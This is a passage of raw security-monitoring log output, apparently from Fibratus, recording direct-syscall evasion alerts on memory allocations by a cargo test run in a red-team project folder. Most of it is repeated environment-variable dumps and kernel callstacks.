Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0b2d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902916 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9898275 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50e9000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0b2d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902919 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.989851 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50e8000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ 